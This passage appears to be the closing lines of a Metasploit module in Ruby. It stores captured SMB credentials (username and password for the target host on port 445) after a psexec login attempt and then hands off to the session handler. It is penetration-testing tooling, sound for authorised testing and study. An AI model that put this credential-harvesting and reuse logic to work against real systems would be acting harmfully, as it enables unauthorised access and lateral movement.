      print_status("Login attempt using windows/smb/psexec failed")
      print_status("Credentials have been stored and may be useful for authentication against other services.")
      # report the auth
      return
    end

    # report the auth
    report_cred(
      ip: datastore['RHOST'],
      port: 445,
      service_name: 'smb',
      user: user,
      password: pass,
      status: Metasploit::Model::Login::Status::SUCCESSFUL
    )

    handler
  end
end